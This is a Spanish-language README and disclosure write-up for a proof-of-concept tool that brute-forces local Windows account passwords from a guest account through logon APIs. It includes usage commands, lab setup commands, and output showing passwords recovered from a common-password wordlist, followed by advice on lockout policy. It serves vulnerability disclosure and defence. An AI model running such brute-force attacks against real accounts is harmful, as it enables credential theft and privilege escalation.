
Descifra cualquier contraseña de usuarios de Microsoft Windows sin ningún privilegio (incluida la cuenta de invitado)
Aviso 1: Nos complace anunciar que nuestra herramienta actual se ha portado a una versión de PowerShell. Esto significa que los usuarios ahora pueden acceder y usar la herramienta directamente desde la línea de comandos de PowerShell, lo que la hace aún más conveniente y eficiente de usar. Creemos que esta nueva versión beneficiará enormemente a nuestros usuarios y mejorará su experiencia con la herramienta. Gracias por su continuo apoyo y esperamos que disfruten de la nueva versión de PowerShell: https://github.com/DarkCoderSc/power-brute-logon
Aviso 2: Recientemente nos hemos enterado de que Microsoft ha habilitado la política de bloqueo de cuenta por defecto en las versiones modernas y actualizadas de Windows. Esta política ayuda a asegurar el sistema bloqueando una cuenta después de un cierto número de intentos fallidos de inicio de sesión. Si bien esta es una medida de seguridad beneficiosa, hace que la prueba de concepto (PoC) sea ineficiente en estos sistemas.
Fecha de publicación: 2020-05-14
Objetivo: Windows XP a la última versión de Windows 10 (1909)

Ubicación de la debilidad: LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon está diseñado para simular un ataque de fuerza bruta contra una cuenta de Microsoft adivinando grandes cantidades de combinaciones de contraseñas en poco tiempo. Esto permite a los pentesters probar la postura de seguridad de sus sistemas y evaluar sus defensas contra ataques de fuerza bruta. La herramienta explota la falta de un mecanismo de bloqueo de cuenta, que es una debilidad común en muchos sistemas (antes de que el bloqueo de cuenta se active por defecto en Windows 11). Al intentar adivinar la contraseña de una cuenta, la herramienta puede ayudar a los pentesters a identificar y abordar vulnerabilidades en sus medidas de seguridad. Debe usarse de manera responsable y dentro de los límites de la ley.
Para esta demostración, configuraremos una versión nueva de Windows 10 en una máquina virtual o física. Una vez configurada la máquina, inicie sesión como administrador. A continuación, cree dos cuentas locales diferentes: una cuenta de administrador y una cuenta de usuario normal. Tenga en cuenta que aunque usaremos la cuenta de invitado para la demo, esta prueba de concepto (PoC) no se limita a la cuenta de invitado. Se puede usar desde cualquier cuenta o grupo, incluidos invitado, usuario normal y administrador.
net user darkcodersc /add
net user darkcodersc trousers (trousers es la contraseña)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm es la contraseña)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
En mi caso, tanto trousers como ozlq6qwm están en SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
Para comenzar la demostración, cierre la sesión de la cuenta de administrador o reinicie la máquina e inicie sesión en la cuenta de invitado. Luego, coloque el ejecutable de la PoC en una ubicación a la que tenga acceso como usuario invitado.
Uso: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v es opcional, designa el modo verbose.
Por defecto, el nombre de dominio es el valor designado por la variable de entorno %USERDOMAIN%. Puede especificar un nombre personalizado con la opción -d.
darkcodersc (Administrador)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Espere unos segundos para ver el siguiente resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (Usuario normal)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Espere unos segundos para ver el siguiente resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"En un escenario del mundo real, si un atacante obtiene acceso a una cuenta de usuario con pocos privilegios, podría descifrar la contraseña de un usuario con más privilegios y escalar sus privilegios. Para mitigar este riesgo, se pueden tomar algunos pasos:
Para implementar una política de bloqueo de seguridad (que no está habilitada por defecto), siga estos pasos:
Tenga en cuenta que la política de bloqueo no se aplica a la cuenta de administrador. En este caso, la mejor protección para la cuenta de administrador (si está habilitada) es establecer una contraseña muy compleja.
Se ha enviado un informe que detalla esta debilidad al equipo de seguridad de Microsoft. Deberían considerar habilitar la política de bloqueo de cuenta por defecto."
(ACTUALIZACIÓN 2022): El bloqueo de cuenta finalmente habilitado por defecto.